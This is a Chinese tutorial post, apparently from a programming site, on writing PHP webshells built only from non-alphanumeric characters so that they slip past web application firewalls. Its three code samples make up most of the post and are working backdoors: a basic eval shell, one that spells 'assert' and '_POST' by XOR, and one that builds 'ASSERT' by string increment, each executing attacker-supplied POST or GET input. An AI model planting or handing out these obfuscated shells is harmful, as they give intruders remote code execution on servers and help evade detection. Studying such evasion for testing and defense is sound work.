如何通過(guò)非數(shù)字與字符的方式實(shí)現(xiàn)PHP WebShell詳解
前言
本文主要給大家介紹的是關(guān)于通過(guò)非數(shù)字與字符實(shí)現(xiàn)PHP WebShell的相關(guān)資料,分享出來(lái)供大家參考學(xué)習(xí),下面來(lái)一起看看詳細(xì)的介紹:
一般來(lái)說(shuō),我們所寫(xiě)的webshell通常都會(huì)包含數(shù)字或字母。比如說(shuō)下面這樣:
<?php if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){ eval($_GET['shell']); }
但如果你想要繞過(guò)WAF的話,你還得使用一些其他的技術(shù)來(lái)重寫(xiě)你的webshell。
思路
首先我們要明確思路,我的核心思想就是通過(guò)一系列字符變換最終利用非字母和非數(shù)字字符構(gòu)建出webshell,然后使用PHP的動(dòng)態(tài)函數(shù)(例如“assert”)來(lái)完成函數(shù)名的拼接,最后動(dòng)態(tài)執(zhí)行構(gòu)建出來(lái)的代碼。
所以,轉(zhuǎn)換方法就是解決這一問(wèn)題的重點(diǎn)了。但是在開(kāi)始之前,我需要跟大家討論以下php5和php7之間的區(qū)別。
php5的斷言(assert)是通過(guò)函數(shù)實(shí)現(xiàn)的,我們可以使用$f='assert';$f(…);
這種方法來(lái)動(dòng)態(tài)執(zhí)行任意代碼。但是在php7中,斷言已經(jīng)不再是一個(gè)函數(shù)了,而是一種語(yǔ)言結(jié)構(gòu)(類似eval),而且斷言(assert)也無(wú)法再作為函數(shù)名來(lái)實(shí)現(xiàn)代碼的動(dòng)態(tài)執(zhí)行了,所以對(duì)于php7來(lái)說(shuō),問(wèn)題可能會(huì)變得更加復(fù)雜了。不過(guò)各位也不用太過(guò)擔(dān)心,因?yàn)槲覀兛梢允褂?file_put_contents函數(shù)來(lái)達(dá)到我們的目的。
為了方便起見(jiàn),本文的實(shí)驗(yàn)環(huán)境使用的是php5,關(guān)于php7的利用方式就請(qǐng)各位自行去探索啦:D
方法一
這是一種最簡(jiǎn)單的方法了。在php中,我們可以通過(guò)異或運(yùn)算(XOR)來(lái)得到一個(gè)或兩個(gè)字符串。因此,如果我們想要得到一個(gè)a-z之間的英文字符,我們就可以通過(guò)兩個(gè)非字母字符和字符數(shù)來(lái)生成所需要的字母字符。示例代碼如下:
<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
解析結(jié)果如下:
方法二
在這種方法中,我們可以使用一些特殊的小技巧來(lái)實(shí)現(xiàn)我們的目標(biāo)。首先,請(qǐng)大家參考php.net的這份文檔:【傳送門(mén)】
文檔中寫(xiě)到:“在處理字符變量的算術(shù)運(yùn)算時(shí),PHP遵循的是Perl的規(guī)范,而并非C語(yǔ)言規(guī)范。比如說(shuō)在PHP和Perl中,$a = ‘Z'; $a++;
經(jīng)過(guò)計(jì)算之后變量$a會(huì)變成 ‘AA',但是在C語(yǔ)言中, a = ‘Z'; a++;
計(jì)算后會(huì)將a變?yōu)椤甗'(‘Z'的ASCII值為90,‘['的ASCII值為91)。請(qǐng)注意,字符變量可以進(jìn)行自增運(yùn)算但無(wú)法進(jìn)行自減運(yùn)算,而且只有ASCII字母和數(shù)字(a-z,A-Z,0-9)才支持這種運(yùn)算,如果對(duì)其他字符變量進(jìn)行這種運(yùn)算將不會(huì)有任何作用,此時(shí)的原始字符串將保持不變?!?/p>
那么接下來(lái),我們應(yīng)該如何才能得到一個(gè)包含字符‘a(chǎn)'的變量呢?
字符串“Array”的首字母是一個(gè)大寫(xiě)的‘A',而第四個(gè)字母則是一個(gè)小寫(xiě)的‘a(chǎn)'。換句話說(shuō),我們可以通過(guò)這個(gè)字符串同時(shí)得到大寫(xiě)和小寫(xiě)的字母‘a(chǎn)'(A),這也就意味著我們可以通過(guò)這種方法得到a-z和A-Z中任意一個(gè)字母字符。
比如說(shuō)在PHP中,如果你想拼接數(shù)組和字符串,那么你首先要將字符串(array)轉(zhuǎn)換成一個(gè)字符串(這個(gè)字符串的值為Array):
然后截取字符串的首字母,我們就得到了‘A'。
利用這項(xiàng)技術(shù),我編寫(xiě)了如下所示的webshell(由于PHP函數(shù)是對(duì)大小寫(xiě)敏感的,所以我在結(jié)尾補(bǔ)上了ASSERT($_POST[_])):
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
解析結(jié)果如下圖所示:
總結(jié)
很多網(wǎng)站現(xiàn)在都會(huì)對(duì)特殊字符進(jìn)行過(guò)濾和檢測(cè),因此希望這項(xiàng)技術(shù)可以給各位Web滲透測(cè)試人員提供一些解決問(wèn)題的思路。
好了,以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作能帶來(lái)一定的幫助,如有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
相關(guān)文章
JS實(shí)現(xiàn)簡(jiǎn)單的二元方程計(jì)算器功能示例
這篇文章主要介紹了JS實(shí)現(xiàn)簡(jiǎn)單的二元方程計(jì)算器功能,涉及javascript數(shù)學(xué)運(yùn)算相關(guān)操作技巧,需要的朋友可以參考下2017-01-01JavaScript 自動(dòng)完成腳本整理(33個(gè))
所謂的提升用戶體驗(yàn),其實(shí)就是把所有用戶視為懶鬼,比如JavaScript自動(dòng)完成(Autocomplete)腳本, 常用于表單,用戶只需輸入一兩個(gè)字母,就為你擴(kuò)展、聯(lián)想、匹配和供君選擇,2009-10-10微信小程序 輪播圖實(shí)現(xiàn)原理及優(yōu)化詳解
這篇文章主要介紹了微信小程序 輪播圖實(shí)現(xiàn)原理及優(yōu)化詳解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2019-09-09javascript編寫(xiě)實(shí)用的省市選擇器
這篇文章主要介紹了javascript編寫(xiě)實(shí)用的省市選擇器的方法及示例分享,非常不錯(cuò),推薦給有相同需求的小伙伴們。2015-02-02